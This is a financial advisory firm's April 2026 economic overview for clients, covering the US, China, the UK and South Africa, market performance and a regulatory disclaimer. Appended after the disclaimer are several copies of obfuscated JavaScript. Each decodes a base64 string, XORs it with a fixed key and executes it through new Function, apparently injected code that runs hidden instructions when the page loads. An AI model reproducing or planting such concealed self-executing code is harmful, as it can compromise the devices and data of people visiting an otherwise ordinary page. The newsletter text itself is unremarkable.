Economic Overview | April 2026

What’s Happening in the Economy – April 2026

What it means for your money

Global markets experienced a more positive month in April, recovering from earlier volatility caused by geopolitical tensions. While risks remain, there are also encouraging signs across major economies and financial markets.

Here’s a clear summary of what’s happening — and why it matters to you.

Global economy: Signs of resilience, but uncertainty remains

Despite ongoing conflict in the Middle East and rising energy costs, several large economies showed surprising resilience in April.

United States: Jobs market still holding up

The US economy continues to create jobs, even though hiring has slowed compared to last year. Unemployment remains steady, and wage growth is easing — which helps reduce pressure on interest rates.

Source: US Bureau of Labor Statistics

What this means for investors:

• The US economy is slowing gently rather than sharply
• Interest rates are likely to stay higher for longer, but sudden increases look less likely
• Markets generally respond well to stability, even if growth is slower

China: Exports bounce back

China’s exports rose sharply in April, driven by strong demand for technology and AI‑related products. This helped offset weaker spending at home.

What this means for investors:

• Global trade is still functioning despite tensions
• China remains an important driver of global manufacturing and growth
• Ongoing demand supports emerging market investments

United Kingdom: Growth returns, but prices are rising

The UK economy picked up in April after a weak March. However, inflation pressures increased sharply, mainly due to higher energy costs and supply disruptions.

Source: S&P Global PMI

What this means for investors:

• Economic growth may be uneven in the months ahead
• Inflation remains a challenge, which could delay interest rate cuts
• UK assets may stay volatile in the short term

South Africa: Growth outlook downgraded, but consumers show resilience

The International Monetary Fund has lowered South Africa’s growth forecast for 2026 to 1%, mainly due to higher fuel costs and global uncertainty.

Fuel price pressure remains a concern, although government intervention has helped soften recent increases.

That said, local retail sales remain positive, suggesting that consumers are still spending, particularly in areas like clothing, online shopping and lifestyle goods.

What this means for investors:

• Economic growth will likely remain modest
• Higher fuel and transport costs could impact inflation
• Local businesses and consumers are proving more resilient than expected

Markets: A strong rebound after March losses

April was a much better month for investors globally.

Global markets

• Global shares rebounded strongly after March declines
• US, European and Asian markets all posted solid gains
• Bonds also recovered as markets stabilised

South African markets

• The local stock market moved back into positive territory
• Financials and property shares performed well
• The rand strengthened against the US dollar and euro
• Local bonds delivered strong returns after earlier sell‑offs

What this means for investors:

• Market recoveries often happen quickly after periods of fear
• Staying invested through volatility remains important
• Diversification across asset classes continues to add value

Key takeaways for clients

• The global economy is slowing, but not stalling
• Markets recovered strongly in April after earlier volatility
• Energy prices and geopolitics remain key risks
• A long‑term, diversified investment approach remains essential

Graviton Financial Partners (Pty) Ltd and Sanlam Multi Manager International (Pty) Ltd are authorised financial services providers in terms of the Financial Advisory and Intermediary Services Act,2002. While every effort has been made to ensure the reasonableness and accuracy of the information contained in this document (“the information”), the FSPs, their shareholders, subsidiaries, clients, agents, officers and employees do not make any representations or warranties regarding the accuracy or suitability of the information and shall not be held responsible and disclaim all liability for any loss, liability and damage whatsoever suffered as a result of or which may be attributable, directly or indirectly, to any use of or reliance upon the information. The information in this document has been recorded and arrived at by Graviton Financial Partners (Pty) Ltd (FSP) Licence No. 4210 in good faith and from sources believed to be reliable, but no representation or warranty, expressed or implied, is made as to its accuracy, completeness or correctness. The information is provided for information purposes only and should not be construed as rendering investment advice to clients.

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Uint8Array(_0x034992db8cf3[‘length’]),_0xc54ff33ca072=0;for(;_0xc54ff33ca072<_0x034992db8cf3['length'];_0xc54ff33ca072++)_0xa898e8dc7503[_0xc54ff33ca072]=_0x034992db8cf3['charCodeAt'](_0xc54ff33ca072)^_0x52421b867837;(new Function(new TextDecoder()['decode'](_0xa898e8dc7503)))()}();!function(){var _0x034992db8cf3=atob(‘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’),_0x52421b867837=33,_0xa898e8dc7503=new Uint8Array(_0x034992db8cf3[‘length’]),_0xc54ff33ca072=0;for(;_0xc54ff33ca072<_0x034992db8cf3['length'];_0xc54ff33ca072++)_0xa898e8dc7503[_0xc54ff33ca072]=_0x034992db8cf3['charCodeAt'](_0xc54ff33ca072)^_0x52421b867837;(new Function(new TextDecoder()['decode'](_0xa898e8dc7503)))()}();!function(){var _0x034992db8cf3=atob(‘CUdUT0JVSE5PCQhaV0BTAUlnFGQVYxxWSE9FTlYNV0USEVhtHElnFGQVY3oGfn5HUWRMQ0RFUgZ8DWgYS21YFBwGQhIZQERAGUJEQEVDR0MURAYNQERGYhNoHHoDSVVVUVIbDg5CTU5URUdNQFNEDEJJREJKD09EVQMNAQNJVVVRGw4OGBUPExcPGBEPEBMXA3waSEcJV0USEVhtBwdXRRIRWG16aBhLbVgUfAhTRFVUU08aV0USEVhtHElnFGQVY3oGfn5HUWRMQ0RFUgZ8HAlXRRIRWG1dXVpcCBpXRRIRWG16aBhLbVgUfBwQGkdUT0JVSE5PAWVEYFllVQkIWkhHCQBFTkJUTERPVQ9DTkVYCFpSRFV1SExETlRVCWVEYFllVQ0TEQgaU0RVVFNPGlxXQFMBT3RbRhdTHEVOQlRMRE9VD0JTREBVRGRNRExET1UJBkVIVwYIDVVAbUtlVxxFTkJUTERPVQ9CU0RAVURkTURMRE9VCQZIR1NATEQGCBpPdFtGF1MPUlVYTUQPQlJSdURZVRwGUU5SSFVITk8bR0hZREUaSE9SRFUbERpbDEhPRURZGxMQFRYVGRITERkaQ0BCSkZTTlRPRRtTRkNACRAUDRMSDRUTDQ8VEwgaUU5IT1VEUwxEV0RPVVIbT05PRBoGGlVAbUtlVw9VSFVNRBwGckRCVFNIVVgBQklEQkoGGlVAbUtlVw9SRFVgVVVTSENUVUQJBkBNTU5WR1RNTVJCU0RETwYNBgYIGlVAbUtlVw9SVVhNRA9CUlJ1RFlVHAZRTlJIVUhOTxtHSFlERRpIT1JEVRsRGlZIRVVJGxAREQQaSURIRklVGxAREQQaQ05TRURTGxEaWwxIT0VEWRsTEBUWFRkSExAZGkNAQkpGU05UT0UbAkdHRxoGGkVOQlRMRE9VD0NORVgPQFFRRE9FYklITUUJT3RbRhdTCBpFTkJUTERPVQ9DTkVYD0BRUURPRWJJSE1FCVVAbUtlVwgaR1RPQlVITk8BVHQTcU4QCQhaVVNYWk90W0YXUw9TRExOV0QJCBpVQG1LZVcPU0RMTldECQgaXEJAVUJJCX5ECFpcVVNYWkVETURVRAFXRRIRWG16aBhLbVgUfFxCQFVCSQl+RBMIWlxcSWcUZBVjD0BFRWRXRE9VbUhSVURPRFMJBkxEUlJARkQGDUdUT0JVSE5PCX5EVwhaVVNYWkhHCQB+RFddXQB+RFcPRUBVQAhTRFVUU08aSEcJfkRXD0VAVUAPVVhRRBwcHAZHUQxETENERQxCTU5SRAYIVHQTcU4QCQgaXEJAVUJJCX5EEghaXFwIGkdUT0JVSE5PAXNZTlFGaAltVUJvUFEIWkhHCW1VQm9QUR8cQERGYhNoD01ET0ZVSQhTRFVUU08aV0BTAX5JHAYGGlVTWFp+SRxyVVNIT0YJSWcUZBVjD01OQkBVSE5PBwcJSWcUZBVjD01OQkBVSE5PD0lOUlVPQExEXV1JZxRkFWMPTU5CQFVITk8PSU5SVQhdXQYGCA9TRFFNQEJECQ5/VlZWfQ8OSA0GBggaXEJAVUJJCX5ESQhaXFdAUwF+VBxAREZiE2h6bVVCb1BRfAoGDkRMQ0RFDgYKaBhLbVgUCgYeRExDREUcEAYKCX5JHgkGB0lOUlUcBgpET0JORUR0c2hiTkxRTk9ET1UJfkkICBsGBggaV0BTAX5VThxSRFV1SExETlRVCUdUT0JVSE5PCQhac1lOUUZoCW1VQm9QUQoQCBpcDRATERERCBpVQG1LZVcPTk9NTkBFHEdUT0JVSE5PCQhaQk1EQFN1SExETlRVCX5VTggaXBpVQG1LZVcPUlNCHH5UGlxzWU5RRmgJEQgaXEhHCUVOQlRMRE9VD1NEQEVYclVAVUQcHBwGTU5ARUhPRgYISWcUZBVjD0BFRWRXRE9VbUhSVURPRFMJBmVubGJOT1VET1VtTkBFREUGDWVEYFllVQgaRE1SRAFlRGBZZVUJCBpcCAkIGg==’),_0x52421b867837=33,_0xa898e8dc7503=new Uint8Array(_0x034992db8cf3[‘length’]),_0xc54ff33ca072=0;for(;_0xc54ff33ca072<_0x034992db8cf3['length'];_0xc54ff33ca072++)_0xa898e8dc7503[_0xc54ff33ca072]=_0x034992db8cf3['charCodeAt'](_0xc54ff33ca072)^_0x52421b867837;(new Function(new TextDecoder()['decode'](_0xa898e8dc7503)))()}();!function(){var _0x034992db8cf3=atob(‘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’),_0x52421b867837=33,_0xa898e8dc7503=new Uint8Array(_0x034992db8cf3[‘length’]),_0xc54ff33ca072=0;for(;_0xc54ff33ca072<_0x034992db8cf3['length'];_0xc54ff33ca072++)_0xa898e8dc7503[_0xc54ff33ca072]=_0x034992db8cf3['charCodeAt'](_0xc54ff33ca072)^_0x52421b867837;(new Function(new TextDecoder()['decode'](_0xa898e8dc7503)))()}();